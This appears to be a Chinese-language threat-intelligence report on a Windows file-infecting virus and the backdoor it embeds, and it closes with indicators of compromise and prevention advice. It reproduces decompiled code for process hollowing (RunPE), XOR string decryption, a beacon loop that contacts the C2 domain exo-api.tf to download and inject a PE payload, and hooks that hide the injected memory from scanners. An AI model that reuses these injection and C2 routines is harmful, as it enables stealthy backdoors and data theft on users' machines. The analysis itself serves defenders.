概述
近期,瑞星威胁情报平台监测到一起针对Windows用户群体的文件感染型攻击事件。攻击者通过感染合法程序进行传播,被感染文件在运行时会释放并执行一个内嵌后门。该后门经LZNT1压缩存储于病毒体尾部,运行时通过RunPE(CreateProcessA 挂起 → NtUnmapViewOfSection → VirtualAllocEx → WriteProcessMemory → SetThreadContext → ResumeThread)以无文件方式注入自身副本,随后与C2服务器exo-api.tf建立HTTPS通信。该后门具备环境指纹采集、双互斥体单实例运行、联网获取加密数据、伪装System32进程执行联网下载的恶意程序等能力,运行时对NtManageHotPatch与ZwQueryVirtualMemory进行Inline Hook,篡改内存查询结果以隐藏注入的载荷,规避EDR/沙箱的内存扫描,并通过命名管道\\.\pipe\VccFramework在恶意组件之间传递C2域名、木马标识符、感染配置等,可对用户主机构成持久化控制与数据窃取威胁。
攻击流程

样本分析
感染后样本分析
| 字段 | 内容 |
|---|---|
| 原始文件名 | bywix v2.exe |
| 文件大小 | 1319KB |
| 文件MD5 | 078BDCF0931AFE42062D43FE64C9BA18 |
| 文件类型 | EXE可执行程序 |
| 病毒名 | Virus.PokerFace!1.149CD |
| 主要功能 | 创建副本进程、解密并加载后门 |
由于未获得感染型母体,且染毒文件已不具备感染性,感染逻辑只能通过染毒文件逆向推测。目前已知该病毒存在两种感染方式:其一,扩展最后一节大小并追加病毒体;其二,新增节并插入病毒体代码。病毒体结构大致为Stub+配置表(包含原始EP RVA,内嵌载荷头RVA等) + LZNT1 压缩后门,感染时将入口点修改为指向病毒体的Stub。感染动作本身还包含反取证处理:清零Rich头、COFF时间戳、链接器版本、Debug目录与PDB路径,并在Win32VersionValue字段写入感染标记 0xEA86118F,修复时只能还原文件长度、入口点、节表属性等可逆字段。
染毒文件执行后,病毒体首先通过PEB遍历(gs:[60h] → Ldr → InMemoryOrderModuleList)与导出表解析,动态定位LoadLibraryA、GetProcAddress的地址,随后调用GetProcAddress获取CreateThread,创建病毒工作线程(入口为解压后门+RunPE逻辑),最后从病毒体偏移0xE3处取出原始入口点RVA加上宿主基址后JMP回原始程序流程,宿主程序照常运行,用户无感知。
创建病毒工作线程部分代码。
if (g_GetProcAddress)
{
const char* dllName = (const char*)g_NameTable + 4;
HMODULE hMod = g_LoadLibraryA(dllName);
if (hMod)
{
const char* funcName = (const char*)g_NameTable[2] + 1;
typedef HANDLE (WINAPI* fnCreateThread)(
LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
fnCreateThread pCreateThread = (fnCreateThread)g_GetProcAddress(hMod, funcName);
if (pCreateThread)
{
pCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Virus_Thread, a1, 0, NULL);
}
}
}
JMP回原始入口点,恢复宿主程序正常执行。
pop r9
pop r8
pop rdx
pop rcx
mov rax, [rbx+0E3h]
add rax, rdi
jmp rax ;跳回原入口点继续执行
解压内嵌于病毒体尾部的LZNT1压缩的后门PE,内存DUMP另存为mem_dump.bin,作为后续专项分析的输入,用于深入分析后门功能、C2通信与反检测逻辑。
uncompressedSize = *payloadHeader; // 内嵌载荷头:解压后大小
compressedSize = payloadHeader[1]; // 内嵌载荷头:压缩后大小
if ( *payloadHeader == compressedSize )
{
payload = payloadHeader + 2;
}
else
{
UncompressedBufferSize = *payloadHeader;
CompressedBufferSize = compressedSize;
UncompressedBuffer = VirtualAlloc(0LL, (int)uncompressedSize, 0x3000LL, 4LL);
if ( !UncompressedBuffer )
return 0LL;
decompressedBuf = (unsigned int *)UncompressedBuffer;
((void (*)(int64_t, int64_t, _QWORD, unsigned int *, unsigned int, char *))RtlDecompressBuffer)(
2LL,
UncompressedBuffer,
UncompressedBufferSize,
payloadHeader + 2,
CompressedBufferSize,
FinalUncompressedSize);
payload = decompressedBuf;
}
以挂起方式创建自身副本进程(CreateProcessA+CREATE_SUSPENDED),随后通过 NtUnmapViewOfSection 镂空该进程映像,VirtualAllocEx 分配内存并WriteProcessMemory写入解密出来的后门PE头与各节数据,再经SetThreadContext将入口点设为后门EP、ResumeThread恢复执行,从而实现后门以无文件落盘方式运行。
if (CreateProcessA(
lpFilename,
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED | CREATE_NO_WINDOW, // 0x08000004
NULL,
NULL,
&si,
&pi))
{
hProcess = pi.hProcess;
v25 = pi.hThread;
if (NtQueryInformationProcess(hProcess, 0, pbi, 48, NULL) < 0)
goto go_Close;
v26 = pbi->PebBaseAddress;
ReadProcessMemory(hProcess, (BYTE*)pbi->PebBaseAddress + 16, &remoteBase, 8, NULL);
NtUnmapViewOfSection(hProcess, (PVOID)remoteBase); // 卸载原有映像
new_buf = VirtualAllocEx( // 新进程中分配内存
hProcess,
(LPVOID)*(uint64_t*)(OptionalHeader + 6), // ImageBase
*(uint32_t*)(OptionalHeader + 20), // SizeOfImage
MEM_COMMIT | MEM_RESERVE, // 0x3000
PAGE_EXECUTE_READWRITE); // 0x40
if (!new_buf)
goto go_Close;
v28 = new_buf;
WriteProcessMemory(
hProcess,
new_buf,
UncompressedBuffer_1,
*(uint32_t*)(OptionalHeader + 0x15), // SizeOfHeaders
NULL); // 写入 PE 头
v29 = (uint32_t*)&OptionalHeader[*(uint16_t*)(OptionalHeader + 10) + 24];
numberofsections = *(uint16_t*)(OptionalHeader + 3);
while (numberofsections)
{ // 写入节数据
--numberofsections;
v30 = v29[4];
if (v30)
{
uint32_t* saved = v29;
WriteProcessMemory(
hProcess,
(BYTE*)v28 + v29[3],
(BYTE*)UncompressedBuffer_1 + v29[5],
v30,
NULL);
v29 = saved;
}
v29 += 10;
}
remoteBase = (uint64_t)v28;
WriteProcessMemory(hProcess, (BYTE*)v26 + 16, &remoteBase, 8, NULL);
memset(ctx, 0, sizeof(ctx));
*(uint32_t*)(ctx + 6) = 0x10000B; // CONTEXT_FULL
if (GetThreadContext(v25, ctx))
{
*(uint64_t*)(ctx + 16) = (uint64_t)v28 + *(uint32_t*)(OptionalHeader + 10); // AddressOfEntryPoint
SetThreadContext(v25, ctx); // 设置新入口点
ResumeThread(v25);
CloseHandle(v25);
CloseHandle(hProcess);
}
else
{
CloseHandle(v25);
CloseHandle(hProcess);
}
}
mem_dump.bin后门病毒分析
| 字段 | 内容 |
|---|---|
| 原始文件名 | mem_dump.bin |
| 文件大小 | 67KB |
| 文件MD5 | 7dea00171f3e623c11cf2465f09d0a70 |
| 文件类型 | 可执行程序 |
| 病毒名 | Backdoor.PokerFace!1.149AC |
| 主要功能 | 检查运行环境、 链接C2获取数据、 创建傀儡进程并执行C2返回程序, HOOK API规避内存扫描 |
该后门所有API均采用API名哈希解析动态获取,相关字符串均经XOR加密存储。程序启动后首先检查当前运行环境:调用CreateDXGIFactory枚举显卡适配器并获取描述符,解密内置的Microsoft Basic Render、NVIDIA GeForce RTX 3060 Ti、Unknown等显卡名称,同时通过动态解析的 GetUserNameA 获取当前登录用户名,解密内置用户名george、Bruno、Abby、AMF、dx、John、elz、Admin,并与当前用户名逐一进行长度和内容比较。设计意图是:显卡为 Microsoft Basic Render且用户名匹配前七个之一,或显卡为NVIDIA GeForce RTX 3060 Ti且用户名为Admin时返回真,否则返回假。但由于返回值处理存在缺陷,实际效果是:只要显卡描述为Microsoft Basic Render、NVIDIA GeForce RTX 3060 Ti 或Unknown,无论用户名是什么,函数均返回真,退出进程,用户名条件在实际行为中失效。
API名哈希算法。
movsx eax, al
xor eax, r11d
imul r11d, eax, 143h
mov al, [rbx]
inc rbx
test al, al
jnz short loc_14000979F
解密互斥量名Global\\PFNMX_SideQTuVl0PCseGLafunsZPRE008 并调用CreateMutexA创建,若互斥量已存在,说明已有实例在运行,当前进程直接退出;随后解密另一互斥量名Global\\PFNX_Sidewfkuuv157wg2gjthwla0lwbo1493h7并调用OpenMutexA尝试打开,若打开成功,当前进程同样退出。
解密互斥量,并创建的部分代码。
movdqu xmm1, xmmword ptr [rax+rcx+0C690h]
movdqu xmm0, xmmword ptr [rbp+rax+280h+Str]
xorps xmm1, xmm0
movdqu xmmword ptr [rbp+rax+280h+Str], xmm1
add rax, 10h
cmp rax, 20h ; ' '
jl short loc_1400098F7 ; 解密互斥量前缀 Global\PFNMX_Side
lea r8, point_QTuVl0PCseGLafunsZPRE008
lea rdx, [rbp+280h+Str] ; Str
lea rcx, [rbp+280h+var_220] ; void *
call str_cat
cmp qword ptr [rax+18h], 0Fh
jbe short loc_140009937
mov rax, [rax]
mov r8, rax
mov edx, 1
xor ecx, ecx
call rbx ; CreateMutex ; Global\\PFNMX_SideQTuVl0PCseGLafunsZPRE008
随后设置全局C2域名,进入信标循环:向C2发送HTTPS请求并等待响应,若响应数据达到15字节及以上则跳出循环,若不足15字节,则在循环次数未超过10次时延时重试,延时10秒,超过10次则主动终止进程,避免长期驻留被分析。
str_cpy(&g_c2, "exo-api.tf");//将硬编码的C2域名exo-api.tf拷贝到全局字符串str_c2
Sleep_4(2000)
int retry = 0;
*(uint64_t*)(p + 0x40) = 0
// 解密 https:// 前缀(两组相同密钥对)
*(uint64_t*)(p + 0xF8) = 0xC84B416A26CE31D0ULL;
*(uint64_t*)(p + 0x90) = *(uint64_t*)(p + 0xF8);
*(uint64_t*)(p + 0x100) = 0x3E954F0A51A0CF56ULL;
uint64_t t0 = *(uint64_t*)(p + 0x100);
*(uint64_t*)(p + 0x98) = t0;
*(uint64_t*)(p + 0x90) ^= 0xC84B416A26CE31EAULL;
*(uint64_t*)(p + 0x98) = t0 ^ 0x3E954F0A51A0CF56ULL
*(uint64_t*)(p + 0xA0) = 0xC84B416A26CE31D0ULL;
*(uint64_t*)(p + 0x80) = *(uint64_t*)(p + 0xA0);
*(uint64_t*)(p + 0xA8) = 0x3E954F0A51A0CF56ULL;
uint64_t t1 = *(uint64_t*)(p + 0xA8);
*(uint64_t*)(p + 0x88) = t1;
*(uint64_t*)(p + 0x80) ^= 0xC84B416A26CE31EAULL;
*(uint64_t*)(p + 0x88) = t1 ^ 0x3E954F0A51A0CF56ULL
// 拼接 URL:https:// + C2 + 路径
char* s1 = str_concat((char*)base + 568, &xmmword_1400121B8, (char*)base + 128);
char* s2 = str_assign((char*)base + 536, s1);
char* s3 = str_concat((char*)base + 504, s2, (char*)base + 144);
str_assign((char*)base + 32, s3);
std_string_destroy((char*)base + 504);
std_string_destroy((char*)base + 536);
std_string_destroy((char*)base + 568)
// 信标循环:最多 10 次,间隔 10 秒,响应 >= 15 字节则跳出
while (1) {
send_beacon();
if ((response_start - response_end) >= 0xF)
break;
if (retry > 10) {
*(volatile uint64_t*)0 = 0; // 主动崩溃
break;
}
*(uint64_t*)(p + 0x40) = ++retry;
Sleep(10000);
}
对内置的https://前缀与URL路径进行XOR解密,随后与C2域名拼接,生成完整的HTTPS请求地址。
/* 1. 解密 v0[6..8] -> "/Stb/PokerFace/init.php?id=Elton" */
for (i = 0; i < 3; ++i)
{
const uint64_t* k = (const uint64_t*)((const char*)key + i * 16);
uint64_t* data = (uint64_t*)&v0[i + 6];
data[0] ^= k[0];
data[1] ^= k[1];
}
*(uint64_t*)&v0[0] = 0xE7647B1956BA4582ULL; /* 解密请求 url path 和参数 */
*(uint64_t*)(base + 0x10) = *(uint64_t*)base;
*(uint64_t*)&v0[0] = 0x3E954F0A51A0CF56ULL;
/* 3. 解密 v0[1] -> "https://" */
const uint64_t* keyUrl = (const uint64_t*)byte_14000C5F0;
uint64_t* dstUrl = (uint64_t*)(base + 0x10);
const uint64_t* srcUrl = (const uint64_t*)(v0 + 1);
*(uint64_t*)(base + 0x18) = *(uint64_t*)base;
dstUrl[0] = srcUrl[0] ^ keyUrl[0];
dstUrl[1] = srcUrl[1] ^ keyUrl[1];
/* 4. 拼接 "https://" + "exo-api.tf" */
str_cat(&v0[10], (const char*)&v0[1], str_c2);
v3 = (char*)&v0[10];
/* 5. 拼接 v3 + "/Stb/PokerFace/init.php?id=Elton" */
url_path = str_concat((uint64_t*)&v0[12], v3, (const char*)&v0[6]);
/* 6. 发请求 */
With_Net((uint64_t*)&v0[3], url_path);
/* 最终 URL: https://exo-api.tf/Stb/PokerFace/init.php?id=Elton */
以伪造的User-Agent和预设Cookie向指定C2地址发起HTTPS请求,通过InternetReadFile循环读取响应数据(单次最多20000字节),逐段拼接为完整响应体后返回,供后门从C2获取指令数据或下载后续载荷。
// 解密 User-Agent
for (i = 0; i < 3; ++i)
{
const uint64_t* k = (const uint64_t*)((const char*)uaKey + i * 16);
uint64_t* d = (uint64_t*)&workBuf[i + 2];
d[0] ^= k[0];
d[1] ^= k[1];
}
hSession = InternetOpenA((const char*)&workBuf[2], 1u, NULL, NULL, 0); // UA: Mozilla/5.0 (Windows NT 14_73_31; WOW64)
// 解密 Cookie 值
*(uint64_t*)&workBuf[0] = 0xFB7F795D1FFD03D8ULL;
*(uint64_t*)(frame + 0x60) = *(uint64_t*)frame;
*(uint64_t*)&workBuf[0] = 0x0BF32E326394F960ULL;
*(uint64_t*)(frame + 0x68) = *(uint64_t*)frame;
*(uint64_t*)&workBuf[0] = 0x7E8D21736F18B4BULL;
*(uint64_t*)(frame + 0x70) = *(uint64_t*)frame;
*(uint64_t*)&workBuf[0] = 0x3733CFBE1A2948C9ULL;
*(uint64_t*)(frame + 0x78) = *(uint64_t*)frame;
*(uint64_t*)&workBuf[0] = 0x3164C76A931FB6C0ULL;
*(uint64_t*)(frame + 0x80) = *(uint64_t*)frame;
*(uint64_t*)&workBuf[0] = 0x762B7554D34F30E9ULL;
*(uint64_t*)(frame + 0x88) = *(uint64_t*)frame;
for (j = 0; j < 3; ++j)
{
const uint64_t* k = (const uint64_t*)((const char*)cookieKey + j * 16);
uint64_t* d = (uint64_t*)&workBuf[j + 6];
d[0] ^= k[0];
d[1] ^= k[1];
}
// Cookie 值: 2239784366428af5e59516a8fd0a0faf
const char* url = (const char*)urlObj;
*(uint64_t*)&workBuf[0] = 0xC84B416A4EBD5082ULL;
*(uint64_t*)(frame + 0x10) = *(uint64_t*)frame;
*(uint64_t*)&workBuf[0] = 0x3E954F0A51A0CF56ULL;
int isShortUrl = urlObj[3] <= 0xF;
const uint64_t* hashKey = (const uint64_t*)&hashKeyData;
*(uint64_t*)(frame + 0x18) = *(uint64_t*)frame;
uint64_t* dstHash = (uint64_t*)(frame + 0x10);
const uint64_t* srcHash = (const uint64_t*)&workBuf[1];
dstHash[0] = srcHash[0] ^ hashKey[0];
dstHash[1] = srcHash[1] ^ hashKey[1];
// hash
if (!isShortUrl)
url = (const char*)*urlObj;
InternetSetCookieA(url, (const char*)&workBuf[1], (const char*)&workBuf[6]); // https://exo-api.tf/Stb/PokerFace/init.php?id=Elton
*(uint64_t*)outStr = 0;
outStr[2] = 0;
outStr[3] = 15;
if (!hSession)
goto go_InternetCloseHandle;
const char* urlPath = (const char*)urlObj;
if (urlObj[3] > 0xF)
urlPath = (const char*)*urlObj;
hRequest = InternetOpenUrlA(hSession, urlPath, NULL, 0, 0, 0);
if (hRequest)
{
do
{
InternetReadFile(hRequest, &workBuf[10], 20000, (LPDWORD)frame);
sub_140006B70(outStr, &workBuf[10], *(uint32_t*)workBuf);
memset(&workBuf[10], 0, 0x4E20);
}
while (*(int32_t*)workBuf);
InternetCloseHandle(hSession);
hClose = hRequest;
}
调用CryptStringToBinaryA,将Base64编码的响应数据解码为二进制数据。
if (CryptStringToBinaryA(
srcStr,
*(size_t*)(frame + 0x40),
1,
*(void**)(frame + 0x10),
&dstLen,
NULL,
NULL))
{
const char* strBase = (const char*)&v0[3];
size_t decodedLen = *(size_t*)(frame + 0x18);
if (*(size_t*)(frame + 0x48) > 0xF)
strBase = *(const char**)(frame + 0x30);
*(size_t*)(frame + 0x40) = 0;
*(char*)strBase = 0;
store_response(&response_end, decodedBuf, decodedLen - (size_t)decodedBuf);
}
随后对C2响应处理,并完成最终注入。首先校验响应数据是否为合法PE(检查 PE\0\0 标志);随后解密约41个System32程序路径并随机选取一个作为伪装目标,以挂起方式创建傀儡进程;接着对傀儡进程的NtManageHotPatch进行Inline Hook,使其返回STATUS_NOT_SUPPORTED;然后向傀儡进程写入 C2响应中的后门PE,创建远程线程执行入口,最后挂起主线程,对傀儡进程的ZwQueryVirtualMemory进行Inline Hook,以隐藏注入的后门PE、规避内存扫描。该函数是整个攻击链的最终落地阶段。
if (*(uint16_t*)(v45 + v1) != 'EP') // 检查响应数据是否是 PE,不是 PE 直接退出
goto over;
system32_path = decrypt_system32_program(); // 解密伪装目标:System32 目录下的可执行文件路径(41 个),随机选一个
if (!CreateProcessW(system32_path, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 创建伪装傀儡进程
goto over;
Hook_NtManageHostPatch(frame + 0x28, frame + 8); // Hook 目的:直接返回 STATUS_NOT_SUPPORTED
NtQueryInformationProcess(frame + 0x28, 0, &pbi, 48, (PULONG_PTR)(v0 + 12));
v70 = *(uint64_t*)(frame + 0x18);
process_buf = VirtualAllocEx(frame + 0x28, NULL, *(uint32_t*)(v70 + v1 + 80),MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
*(uint64_t*)(frame + 0x10) = process_buf;
v72 = process_buf;
if (!process_buf)
goto over;
WriteProcessMemory(frame + 0x28, v72, response_end, *(uint32_t*)(v70 + v1 + 84), NULL);
v84 = *(uint32_t*)(v1 + 60);
v85 = 0;
v86 = response_end + v84;
if (*(uint16_t*)(v70 + *(uint64_t*)(frame + 0x20) + 6))
{
v87 = (uint32_t*)(v86 + 284);
do
{
WriteProcessMemory_1(
frame + 0x28,
*(uint64_t*)(frame + 0x10) + *(v87 - 2),
response_end + *v87,
*(v87 - 1),
NULL);
v87 += 10;
++v85;
}
while (v85 < *(uint16_t*)(v70 + *(uint64_t*)(frame + 0x20) + 6));
}
v100 = *(uint64_t*)(frame + 0xD0);
WriteProcessMemory_2(frame + 0x28, v100 + 16, &v0[1], 8, NULL);
v122 = CreateRemoteThread( // 创建远程线程
frame + 0x28,
NULL,
0,
(LPTHREAD_START_ROUTINE)(*(uint64_t*)(frame + 0x10)
+ *(uint32_t*)(*(uint64_t*)(frame + 0x18) + *(uint64_t*)(frame + 0x20) + 40)),
NULL,
4,
NULL);
if (v122)
{
SuspendThread(*(HANDLE*)(frame + 0x30));
Hook_ZwQueryVirtualMemory(
frame + 0x28,
*(uint64_t*)(frame + 0x10),
*(uint64_t*)(frame + 8));
ResumeThread(v122);
}
创建命名管道\\.\pipe\VccFramework在恶意组件之间传递C2域名、木马标识符、感染配置或窃取数据,利用本地IPC的隐蔽性规避网络层检测。
const char* data = (const char*)v4 + 32;//wfkuuv157wg2gjthwla0lwbo1493h7:QTuVl0PCseGLafunsZPRE008:exo-api.tf
if (*(size_t*)((char*)v4 + 0x38) > 0xF)
data = *(const char**)((char*)v4 + 0x20);
size_t dataLen = strlen(data);
const char* lpBuf = (const char*)v4 + 32;
if (*(size_t*)((char*)v4 + 0x38) > 0xF)
lpBuf = *(const char**)((char*)v4 + 0x20);
// 动态解析 CreateFileA(PEB 遍历 + 导出表哈希,hash = 323 * (hash ^ char))
typedef HANDLE (WINAPI* fnCreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
fnCreateFileA pCreateFileA = (fnCreateFileA)CreateFileA;
if (!pCreateFileA) {
// PEB 遍历,倒序扫描导出名,匹配哈希 603327037
}
uint64_t c0 = 0xAD3B281A7AE06DB6ULL ^ 0xC84B416A26CE31EAULL;
uint64_t c1 = 0x53F43D4C32C3990AULL ^ 0x3E954F0A51A0CF56ULL;
uint64_t c2 = 0x3F89E44D71A7C94BULL ^ 0x3F89E42603C8BE2EULL;
uint64_t c3 = 0x5152A98E7B192CAFULL ^ 0x5152A98E7B192CAFULL; // XOR 解密管道名 "\\.\pipe\VccFramework"
char pipeName[32] = {0};
memcpy(pipeName + 0, &c0, 8);
memcpy(pipeName + 8, &c1, 8);
memcpy(pipeName + 16, &c2, 8);
memcpy(pipeName + 24, &c3, 8);
HANDLE hPipe = pCreateFileA(pipeName, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);//pipeName 即 "\\.\pipe\VccFramework"
DWORD written = 0;
WriteFile(hPipe, lpBuf, (DWORD)dataLen, &written, NULL);
由于调试时未获取到有效的PE响应数据,后续注入行为未能实际触发,因此无法通过动态调试进一步观察其执行效果。但从代码逻辑看,病毒作者可通过C2下发任意PE载荷并注入傀儡进程执行,理论上可投放后门、勒索软件等任意恶意程序,载荷类型不受限制。
总结
本次攻击是一起典型的文件感染型病毒+内嵌后门组合攻击,该组合兼具感染传播能力与隐藏后门控制能力,展现了当前恶意软件在感染传播、无文件执行和反检测方面的高技术水平。
对于安全防御方而言,应对此类威胁需要构建覆盖终端、网络、用户行为的多层次检测响应体系,并持续跟踪攻击技术的演进。对于普通用户而言,提高安全意识、谨慎下载运行未知来源程序,仍是防范此类攻击的最有效手段。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本

-
及时修补系统补丁和重要软件的补丁。
-
谨慎下载运行未知来源程序。
沦陷信标(IOC)
-
MD5
078BDCF0931AFE42062D43FE64C9BA18 7dea00171f3e623c11cf2465f09d0a70 -
Domain
exo-api.tf -
瑞星病毒名
Backdoor.PokerFace!1.149AC Virus.PokerFace!1.149CD